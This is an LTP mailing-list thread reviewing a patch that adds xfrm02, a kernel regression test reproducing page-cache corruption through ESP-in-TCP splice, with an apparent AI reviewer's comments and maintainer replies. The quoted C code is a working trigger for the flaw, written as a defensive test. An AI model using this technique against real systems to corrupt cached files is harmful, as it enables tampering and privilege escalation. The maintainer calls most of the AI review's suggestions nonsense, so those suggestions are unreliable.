Skip to contentSkip to conversation

sockets/xfrm02: Add ESP-in-TCP page cache corruption test

PATCH Superseded Andrea Cervesato 3 participants 4 messages May 13

v2 of 3 Superseded Latest is v3 →

lore
Share & tools
lore
#0 lore raw

PATCH v2 1/1 sockets/xfrm02: Add ESP-in-TCP page cache corruption test

From: Andrea Cervesato <[email protected]>

Verify that ESP-in-TCP (espintcp) does not corrupt the page cache when file data is spliced into a TCP socket. When MSG_SPLICE_PAGES references page cache pages directly in the skb and the receiving socket has espintcp ULP enabled, the kernel's ESP handler may decrypt the payload in-place on those pages, corrupting the cached file contents.

The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes known data to a file, creates a TCP connection where the receiver enables espintcp ULP, splices the file data into the TCP socket as part of a crafted ESP-in-TCP frame, and then verifies whether the page cache was corrupted.

Reproducer based on:
https://github.com/v12-security/pocs/tree/main/fragnesia

---
Changes in v2:
- use tst_cmd()
- evict pages before sending prefix
- remove checkpoints
- add usleep() to trigger the bug
- use tst_reap_children()
- Link to v1: https://lore.kernel.org/r/[email protected]

---
 runtest/cve                          |   1 +
 testcases/network/sockets/.gitignore |   1 +
 testcases/network/sockets/xfrm02.c   | 227 +++++++++++++++++++++++++++++++++++
 3 files changed, 229 insertions(+)
runtest/cve +1 -0
index 530f8751ed3a8e8aa7e9110d89d577df3e8cc6ce..5fe83ec2d1803a5c0f6b4eba05fcf00cc80c8809 100644
@@ -95,3 +95,4 @@ cve-2025-38236 cve-2025-38236
 cve-2025-21756 cve-2025-21756
 cve-2026-31431 af_alg08
 cve-2026-43284 xfrm01
+cve-2026-fragnesia xfrm02
testcases/network/sockets/.gitignore +1 -0
index 6f3c0ad84c000f0214f371c6a601afb592b15faa..35bc0462b676b041d9a5b52a37fded973d0157a9 100644
@@ -1 +1,2 @@
 /xfrm01
+/xfrm02
testcases/network/sockets/xfrm02.c new file +227 -0

227 lines not on this page · raw message

---
base-commit: e1fc50957c98ae4c27064756e063de0e7136cde3
change-id: 20260513-fragnesia-9588d855becf

Best regards,

Signature · 5 lines
Andrea Cervesato <[email protected]>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp
#1 lore raw

Hi Andrea,

testcases/network/sockets/xfrm02.c line 134

Quoted 3 lines · Andrea Cervesato

sockets/xfrm02: Add ESP-in-TCP page cache corruption test

testcases/network/sockets/xfrm02.c new file +1 -0
+		SAFE_POSIX_FADVISE(cli_fd, 0, 0, POSIX_FADV_DONTNEED);

posix_fadvise(2) is only valid for regular files; on a socket fd it returns ESPIPE, causing SAFE_POSIX_FADVISE to call tst_brk(TBROK) in the child and the test never actually exercises the corruption path. Replace with SAFE_POSIX_FADVISE(file_fd, 0, DATA_SIZE, POSIX_FADV_DONTNEED).

testcases/network/sockets/xfrm02.c line 166

Quoted 2 lines
testcases/network/sockets/xfrm02.c new file +2 -0
+	/* Let the espintcp strparser process buffered ESP data */
+	usleep(30000);

Sleep-based synchronization is not allowed (G2). Use poll() on acc_fd waiting for POLLIN to detect when the strparser has consumed the data.

Review

Quoted 2 lines
(quoted diff) +2 -0
+	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
+	SAFE_CLOSE(srv_fd);

srv_fd is not reset to -1 after close here; cleanup() will find srv_fd != -1 and attempt a double-close, hitting TBROK on every run. Add srv_fd = -1; after SAFE_CLOSE(srv_fd).

Quoted 1 line

+cve-2026-fragnesia xfrm02

Please confirm whether the fix for this CVE is in kernel 7.1 (current stable). If not, this belongs in runtest/staging with a [STAGING] prefix in the commit subject.

---
Note:

Our agent completed the review of the patch. The full review can be found at: https://github.com/linux-test-project/ltp-agent/actions/runs/25811801064

The agent can sometimes produce false positives although often its findings are genuine. If you find issues with the review, please comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

Signature · 1 line
Mailing list info: https://lists.linux.it/listinfo/ltp
#2 lore raw
Quoted 11 lines · On 5/13/26 18:29, [email protected] wrote:

Hi Andrea,

testcases/network/sockets/xfrm02.c line 134

Quoted 3 lines · Andrea Cervesato

sockets/xfrm02: Add ESP-in-TCP page cache corruption test

testcases/network/sockets/xfrm02.c new file +1 -0
+		SAFE_POSIX_FADVISE(cli_fd, 0, 0, POSIX_FADV_DONTNEED);

posix_fadvise(2) is only valid for regular files; on a socket fd it returns ESPIPE, causing SAFE_POSIX_FADVISE to call tst_brk(TBROK) in the child and the test never actually exercises the corruption path. Replace with SAFE_POSIX_FADVISE(file_fd, 0, DATA_SIZE, POSIX_FADV_DONTNEED).

Ah, yes. As the AI correctly notes, the first argument here should be file_fd instead. Please fix that during merge. The rest of AI review is nonsense, except for the missing CVE number.

Signature · 10 lines
Martin Doucha   [email protected]
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp
Reviewed-by on v2 1/1
#3 lore raw
In reply to Andrea Cervesato

Hi,
two minor fixes that can be done during merge:
- The bug has a CVE now: CVE-2026-46300
- One issue below.

Tested on kernels v5.14 and v6.12.

Quoted 205 lines · Andrea Cervesato

From: Andrea Cervesato <[email protected]>

Verify that ESP-in-TCP (espintcp) does not corrupt the page cache when file data is spliced into a TCP socket. When MSG_SPLICE_PAGES references page cache pages directly in the skb and the receiving socket has espintcp ULP enabled, the kernel's ESP handler may decrypt the payload in-place on those pages, corrupting the cached file contents.

The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes known data to a file, creates a TCP connection where the receiver enables espintcp ULP, splices the file data into the TCP socket as part of a crafted ESP-in-TCP frame, and then verifies whether the page cache was corrupted.

Reproducer based on:
https://github.com/v12-security/pocs/tree/main/fragnesia

---
Changes in v2:
- use tst_cmd()
- evict pages before sending prefix
- remove checkpoints
- add usleep() to trigger the bug
- use tst_reap_children()
- Link to v1: https://lore.kernel.org/r/[email protected]

---
  runtest/cve                          |   1 +
  testcases/network/sockets/.gitignore |   1 +
  testcases/network/sockets/xfrm02.c   | 227 +++++++++++++++++++++++++++++++++++
  3 files changed, 229 insertions(+)
runtest/cve +1 -0
index 530f8751ed3a8e8aa7e9110d89d577df3e8cc6ce..5fe83ec2d1803a5c0f6b4eba05fcf00cc80c8809 100644
@@ -95,3 +95,4 @@ cve-2025-38236 cve-2025-38236
  cve-2025-21756 cve-2025-21756
  cve-2026-31431 af_alg08
  cve-2026-43284 xfrm01
+cve-2026-fragnesia xfrm02
testcases/network/sockets/.gitignore +1 -0
index 6f3c0ad84c000f0214f371c6a601afb592b15faa..35bc0462b676b041d9a5b52a37fded973d0157a9 100644
@@ -1 +1,2 @@
  /xfrm01
+/xfrm02
testcases/network/sockets/xfrm02.c new file +151 -0
new file mode 100644
index 0000000000000000000000000000000000000000..d7fe70e3d242227c374b5c9b876c8efeeb0e1f5d
@@ -0,0 +1,227 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <[email protected]>
+ */
+
+/*\
+ * Verify that ESP-in-TCP (espintcp) does not corrupt the page cache
+ * when file data is spliced into a TCP socket.
+ *
+ * When file data is spliced into a TCP socket, the kernel uses
+ * MSG_SPLICE_PAGES to reference page cache pages directly in the skb.
+ * If the receiving socket has TCP_ULP "espintcp" enabled and a matching
+ * xfrm SA exists, the kernel's ESP handler decrypts the payload
+ * in-place on those page cache pages, corrupting the cached file
+ * contents.
+ *
+ * The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes
+ * known data to a file, creates a TCP connection where the receiver
+ * enables espintcp ULP, splices the file data into the TCP socket as
+ * part of a crafted ESP-in-TCP frame, and then verifies whether the
+ * page cache was corrupted.
+ *
+ * Reproducer based on:
+ * https://github.com/v12-security/pocs/tree/main/fragnesia
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "tst_net.h"
+#include "tst_netdevice.h"
+#include "lapi/tcp.h"
+#include "lapi/splice.h"
+
+#define TESTFILE "pagecache_test"
+#define DATA_SIZE 4096
+
+#define SPI 0x100
+#define TCP_PORT 5556
+#define IV_LEN 8
+#define ESP_HDR_SIZE 16
+#define AES_KEYLEN 16
+#define SALT_LEN 4
+#define KEYTOTAL (AES_KEYLEN + SALT_LEN)
+
+/* ESP-in-TCP frame prefix: 2-byte length + ESP header */
+#define PREFIX_SIZE (2 + ESP_HDR_SIZE)
+
+static const uint8_t aead_key[KEYTOTAL] = {
+	0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
+	0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
+	0x01, 0x02, 0x03, 0x04
+};
+
+static uint8_t original[DATA_SIZE];
+static int file_fd = -1;
+static int srv_fd = -1;
+
+static void setup(void)
+{
+	char keyhex[KEYTOTAL * 2 + 3];
+	char spihex[16];
+	char port_str[8];
+	int i, ret;
+
+	tst_setup_netns();
+	NETDEV_SET_STATE("lo", 1);
+
+	keyhex[0] = '0';
+	keyhex[1] = 'x';
+	for (i = 0; i < KEYTOTAL; i++)
+		sprintf(keyhex + 2 + i * 2, "%02x", aead_key[i]);
+
+	snprintf(spihex, sizeof(spihex), "0x%08x", SPI);
+	snprintf(port_str, sizeof(port_str), "%d", TCP_PORT);
+
+	const char *const xfrm_cmd[] = {
+		"ip", "xfrm", "state", "add",
+		"src", "::1", "dst", "::1",
+		"proto", "esp", "spi", spihex,
+		"encap", "espintcp", port_str, port_str, "::",
+		"aead", "rfc4106(gcm(aes))", keyhex, "128",
+		"mode", "transport",
+		NULL
+	};
+
+	ret = tst_cmd(xfrm_cmd, NULL, NULL, TST_CMD_PASS_RETVAL);
+	if (ret)
+		tst_brk(TBROK, "Failed to install xfrm ESP-in-TCP state");
+
+	for (i = 0; i < DATA_SIZE; i++)
+		original[i] = (uint8_t)(i & 0xff);
+}
+
+static void try_corrupt(void)
+{
+	struct sockaddr_in6 addr = {
+		.sin6_family = AF_INET6,
+		.sin6_addr = IN6ADDR_LOOPBACK_INIT,
+		.sin6_port = htons(TCP_PORT),
+	};
+	uint8_t prefix[PREFIX_SIZE];
+	uint16_t frame_len;
+	uint32_t spi_net, seq_net;
+	char ulp[] = "espintcp";
+	int acc_fd;
+	loff_t off;
+
+	frame_len = htons(PREFIX_SIZE + DATA_SIZE);
+	memcpy(prefix, &frame_len, 2);
+
+	spi_net = htonl(SPI);
+	memcpy(prefix + 2, &spi_net, 4);
+
+	seq_net = htonl(1);
+	memcpy(prefix + 6, &seq_net, 4);
+
+	memset(prefix + 10, 0xcc, IV_LEN);
+
+	srv_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0);
+	SAFE_SETSOCKOPT_INT(srv_fd, SOL_SOCKET, SO_REUSEADDR, 1);
+	SAFE_BIND(srv_fd, (struct sockaddr *)&addr, sizeof(addr));
+	SAFE_LISTEN(srv_fd, 1);
+
+	if (!SAFE_FORK()) {
+		int cli_fd, pipefd[2];
+
+		SAFE_CLOSE(srv_fd);
+
+		cli_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0);
+		SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1);
+		SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr));
+
+		SAFE_POSIX_FADVISE(cli_fd, 0, 0, POSIX_FADV_DONTNEED);
+
+		SAFE_SEND(1, cli_fd, prefix, sizeof(prefix), 0);
+		SAFE_PIPE(pipefd);
+
+		off = 0;
+		SAFE_SPLICE(file_fd, &off, pipefd[1], NULL, DATA_SIZE, 0);
+
+		/*
+		 * Splice pipe into TCP socket. The kernel uses
+		 * MSG_SPLICE_PAGES to keep page cache references in
+		 * the skb. On loopback the receiver's ESP handler may
+		 * decrypt in-place, corrupting the page cache. May
+		 * fail on patched kernels.
+		 */
+		splice(pipefd[0], NULL, cli_fd, NULL, DATA_SIZE, 0);
+
+		SAFE_CLOSE(pipefd[0]);

testcases/network/sockets/xfrm02.c line 161

Quoted 10 lines
testcases/network/sockets/xfrm02.c new file +10 -0
+		SAFE_CLOSE(pipefd[1]);
+		SAFE_CLOSE(cli_fd);
+
+		exit(0);
+	}
+
+	tst_reap_children();
+
+	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
+	SAFE_CLOSE(srv_fd);

tst_reap_children() should be called here, after accepting the connection and closing the listen socket.

Quoted 72 lines
testcases/network/sockets/xfrm02.c new file +66 -1
+
+	SAFE_SETSOCKOPT(acc_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp));
+
+	/* Let the espintcp strparser process buffered ESP data */
+	usleep(30000);
+
+	SAFE_CLOSE(acc_fd);
+}
+
+static void run(void)
+{
+	uint8_t readback[DATA_SIZE];
+
+	file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+	SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE);
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	try_corrupt();
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, DATA_SIZE) != 0)
+		tst_res(TFAIL, "Page cache corrupted via xfrm ESP-in-TCP splice");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+
+	SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+	if (srv_fd != -1)
+		SAFE_CLOSE(srv_fd);
+
+	if (file_fd != -1)
+		SAFE_CLOSE(file_fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		"CONFIG_XFRM",
+		"CONFIG_INET6_ESP",
+		"CONFIG_INET6_ESPINTCP",
+		"CONFIG_CRYPTO_GCM",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
+		{}
+	},
+	.needs_cmds = (struct tst_cmd[]) {
+		{.cmd = "ip"},
+		{}
+	},
+};
 
---

base-commit: e1fc50957c98ae4c27064756e063de0e7136cde3
change-id: 20260513-fragnesia-9588d855becf

Best regards,

Signature · 10 lines
Martin Doucha   [email protected]
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp